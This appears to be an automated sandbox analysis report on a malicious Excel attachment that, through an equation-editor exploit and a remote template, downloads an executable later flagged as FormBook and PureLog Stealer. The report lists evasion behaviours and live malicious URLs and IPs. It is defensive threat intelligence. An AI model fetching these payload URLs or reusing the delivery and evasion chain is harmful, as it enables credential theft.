Source: 8.2.winiti.exe.ed0000.2.raw.unpack, QoOP4PjGKS5gfhE57SM.cs High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'CqRNO2qJae', 'G9FNh3I2Q6', 'uKENqXoB2e', 'tSdNxrJjlJ', 'CacNS6aQwa', 'UqYNX9D6wT', 'EVsNTXaS2Y'
Source: 8.2.winiti.exe.ed0000.2.raw.unpack, qKgcIJaPN5xDIttQpD.cs High entropy of concatenated method names: 'PhUFj2dX4W', 'rMPFGPNVBu', 'DieFBnJWiM', 'ohEF6jvGsm', 'j2yFrLss94', 'StLFudw3uP', 'HY8F9s9TbD', 'VwdwTdWKCp', 'AZ5wVEa7Lv', 'VmGw2q4NJb'
Source: 8.2.winiti.exe.ed0000.2.raw.unpack, hNFj00Hv45CTOkfqEI.cs High entropy of concatenated method names: 'SfPrO1ssyo', 'NDPrhawp0e', 'y6irq2u9mD', 'bhYrx4PFV0', 'hFSrSDP4cF', 'NAOrXTfqy2', 'BUorTLsn5H', 'zTArVVaxqj', 'hfAr2On37F', 'N7Bra3OAps'
Source: 8.2.winiti.exe.ed0000.2.raw.unpack, Q8PlVd7gMYjm0S8vYt.cs High entropy of concatenated method names: 'Bpq93aGmUj', 'wTb9rMKOoC', 'iEc9unbdAm', 'i7l9IxK5H5', 'WE19vTwTjM', 'o9duSioOL5', 'F7BuX3OclH', 'lMkuTfOuXB', 'rbUuVL16tg', 'BLWu25cIwA'
Source: 8.2.winiti.exe.ed0000.2.raw.unpack, OOABLIblxanx4dA8KG.cs High entropy of concatenated method names: 'qy6I6v0QNP', 'UJ8IQvx2QP', 'U5VI9jiagd', 'F5i9aeIwTX', 'IXI9z4S0JK', 'wPHIpTNuN4', 'v3RIjSIcOj', 'TbfI8DkhQl', 'TRWIGOfZ1W', 'JxrIBmWZim'
Source: 8.2.winiti.exe.ed0000.2.raw.unpack, f3eVc2kPtPvNgZNKDL.cs High entropy of concatenated method names: 'uYjIlyACNl', 'dglIoMtatC', 'JIEIZtIDvN', 'j5SIeI2paI', 'jcvIJofeoR', 'qqqIMkFXex', 'qHYIgkNh8t', 'nYQIHJPpp8', 'UIFIyVd8tV', 'RskI1u4ivF'
Source: 8.2.winiti.exe.ed0000.2.raw.unpack, XC3FVVqBJrFXgahDpX.cs High entropy of concatenated method names: 'ToString', 'Q7hcPUyHH6', 'n2VciTvqHJ', 'DZActfCNLB', 'IrNcm0wRNs', 'LEbcd8cteg', 'YMEcnGOoEo', 'KF4cbxNwLp', 'uxvc0HdMAp', 'UDFckP4YiN'

Persistence and Installation Behavior
barindex
Microsoft Office launches external ms-search protocol handler (WebDAV)
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE File opened: \Device\RdpDr\;:1\tny.wtf\DavWWWRoot Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE File opened: \Device\RdpDr\;:1\tny.wtf\DavWWWRoot Jump to behavior
AI detected suspicious Excel or Word document
Source: Office document LLM: Score: 9 Reasons: The screenshot contains a visually prominent image that appears to be a button or link, with the text 'This document is protected' under a Microsoft Office logo. This can mislead users into thinking they need to click to view the document. The text creates a sense of urgency or necessity to access the document, which is a common tactic in phishing attacks. The use of the Microsoft Office logo impersonates a well-known brand, adding to the credibility of the phishing attempt. The sense of urgency is directly connected to the prominent button-like image, increasing the likelihood of a user clicking on it.
Office drops RTF file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File dump: recreatednewthingswithentrienewprocesswhichwedidwithouthavingsuchagereatthigstodoever_______greatthingstohappened[1].doc.0.dr Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE File dump: FFE27256.doc.3.dr Jump to dropped file
Office viewer loads remote template
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Section loaded: netapi32.dll and davhlpr.dll loaded Jump to behavior
Drops PE files
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\winiti[1].exe Jump to dropped file
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE File created: C:\Users\user\AppData\Roaming\winiti.exe Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: RFQ#51281AOLAI.xls Stream path 'MBD001BDE15/Package' entropy: 7.97230907292 (max. 8.0)
Source: RFQ#51281AOLAI.xls Stream path 'Workbook' entropy: 7.99941847659 (max. 8.0)
Source: 07330000.0.dr Stream path 'MBD001BDE15/Package' entropy: 7.96745742421 (max. 8.0)
Source: 07330000.0.dr Stream path 'Workbook' entropy: 7.99939043223 (max. 8.0)
Source: ~DF6D5A74146301A5A1.TMP.0.dr Stream path 'Package' entropy: 7.96745742421 (max. 8.0)
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process created: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Allocates memory with a write watch (potentially for evading sandboxes)
Source: C:\Users\user\AppData\Roaming\winiti.exe Memory allocated: 2C0000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Memory allocated: 2870000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Memory allocated: 3C0000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Memory allocated: 58C0000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Memory allocated: 5360000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Memory allocated: 68C0000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Memory allocated: 78C0000 memory reserve | memory write watch Jump to behavior
Contains functionality for execution timing, often used to detect debuggers
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 9_2_00930101 rdtsc 9_2_00930101
Contains long sleeps (>= 3 min)
Source: C:\Users\user\AppData\Roaming\winiti.exe Thread delayed: delay time: 922337203685477 Jump to behavior
May sleep (evasive loops) to hinder dynamic analysis
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE TID: 2912 Thread sleep time: -240000s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe TID: 3124 Thread sleep time: -922337203685477s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe TID: 3148 Thread sleep time: -30000s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Process information queried: ProcessInformation Jump to behavior
Checks if the current process is being debugged
Source: C:\Users\user\AppData\Roaming\winiti.exe Process queried: DebugPort Jump to behavior
Contains functionality for execution timing, often used to detect debuggers
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 9_2_00930101 rdtsc 9_2_00930101
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 9_2_00417A03 LdrLoadDll, 9_2_00417A03
Contains functionality to read the PEB
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 9_2_008D0080 mov ecx, dword ptr fs:[00000030h] 9_2_008D0080
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 9_2_008D00EA mov eax, dword ptr fs:[00000030h] 9_2_008D00EA
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 9_2_008F26F8 mov eax, dword ptr fs:[00000030h] 9_2_008F26F8
Source: C:\Users\user\AppData\Roaming\winiti.exe Memory allocated: page read and write | page guard Jump to behavior

HIPS / PFW / Operating System Protection Evasion
barindex
Injects a PE file into a foreign processes
Source: C:\Users\user\AppData\Roaming\winiti.exe Memory written: C:\Users\user\AppData\Roaming\winiti.exe base: 400000 value starts with: 4D5A Jump to behavior
Creates a process in suspended mode (likely to inject code)
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process created: C:\Users\user\AppData\Roaming\winiti.exe "C:\Users\user\AppData\Roaming\winiti.exe" Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Process created: C:\Users\user\AppData\Roaming\winiti.exe "C:\Users\user\AppData\Roaming\winiti.exe" Jump to behavior
Queries the volume information (name, serial number etc) of a device
Source: C:\Users\user\AppData\Roaming\winiti.exe Queries volume information: C:\Users\user\AppData\Roaming\winiti.exe VolumeInformation Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid Jump to behavior

Stealing of Sensitive Information
barindex
Yara detected FormBook
Source: Yara match File source: 9.2.winiti.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 9.2.winiti.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000009.00000002.489032107.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000009.00000002.488998294.0000000000150000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Yara detected PureLog Stealer
Source: Yara match File source: 8.2.winiti.exe.289505c.4.unpack, type: UNPACKEDPE
Source: Yara match File source: 8.2.winiti.exe.590000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 8.2.winiti.exe.590000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 8.2.winiti.exe.289505c.4.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000008.00000002.414747610.0000000000590000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000008.00000002.415607695.0000000002871000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Remote Access Functionality
barindex
Yara detected FormBook
Source: Yara match File source: 9.2.winiti.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 9.2.winiti.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000009.00000002.489032107.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000009.00000002.488998294.0000000000150000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Yara detected PureLog Stealer
Source: Yara match File source: 8.2.winiti.exe.289505c.4.unpack, type: UNPACKEDPE
Source: Yara match File source: 8.2.winiti.exe.590000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 8.2.winiti.exe.590000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 8.2.winiti.exe.289505c.4.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000008.00000002.414747610.0000000000590000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000008.00000002.415607695.0000000002871000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
windows-stand
Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 1483000 Sample: RFQ#51281AOLAI.xls Startdate: 26/07/2024 Architecture: WINDOWS Score: 100 41 tny.wtf 2->41 51 Malicious sample detected (through community Yara rule) 2->51 53 Antivirus detection for URL or domain 2->53 55 Antivirus detection for dropped file 2->55 57 16 other signatures 2->57 8 EXCEL.EXE 57 41 2->8         started        signatures3 process4 dnsIp5 43 104.219.239.104, 49162, 49166, 80 DATAWAGONUS United States 8->43 45 tny.wtf 188.114.97.3, 49161, 49163, 80 CLOUDFLARENETUS European Union 8->45 29 C:\Users\user\...\RFQ#51281AOLAI.xls (copy), Composite 8->29 dropped 31 recreatednewthings...gstohappened[1].doc, Rich 8->31 dropped 12 WINWORD.EXE 336 39 8->12         started        17 winiti.exe 2 8->17         started        file6 process7 dnsIp8 47 tny.wtf 12->47 49 188.114.96.3, 49164, 49165, 80 CLOUDFLARENETUS European Union 12->49 33 C:\Users\user\AppData\Roaming\...\tny.wtf.url, MS 12->33 dropped 35 C:\Users\user\AppData\Roaming\...\dGa.url, MS 12->35 dropped 37 ~WRF{0F8425F3-6468...4-C6330FCC02D5}.tmp, Composite 12->37 dropped 39 C:\Users\user\AppData\Local\...\FFE27256.doc, Rich 12->39 dropped 63 Microsoft Office launches external ms-search protocol handler (WebDAV) 12->63 65 Office viewer loads remote template 12->65 67 Microsoft Office drops suspicious files 12->67 19 EQNEDT32.EXE 12 12->19         started        69 Machine Learning detection for dropped file 17->69 71 Injects a PE file into a foreign processes 17->71 23 winiti.exe 17->23         started        file9 signatures10 process11 file12 25 C:\Users\user\AppData\Roaming\winiti.exe, PE32 19->25 dropped 27 C:\Users\user\AppData\Local\...\winiti[1].exe, PE32 19->27 dropped 59 Office equation editor establishes network connection 19->59 61 Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802) 19->61 signatures13
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
104.219.239.104
 unknown United States
27176 DATAWAGONUS true
188.114.97.3
 tny.wtf European Union
13335 CLOUDFLARENETUS true
188.114.96.3
 unknown European Union
13335 CLOUDFLARENETUS false

Contacted Domains

Name IP Active
tny.wtf 188.114.97.3 true

Contacted URLs

Name Malicious Antivirus Detection Reputation
http://104.219.239.104/80/winiti.exe true
  • Avira URL Cloud: malware
 unknown
http://104.219.239.104/xampp/bn/recreatednewthingswithentrienewprocesswhichwedidwithouthavingsuchagereatthigstodoever_______greatthingstohappened.doc true
  • Avira URL Cloud: malware
 unknown
http://tny.wtf/dGa false
  • Avira URL Cloud: safe
 unknown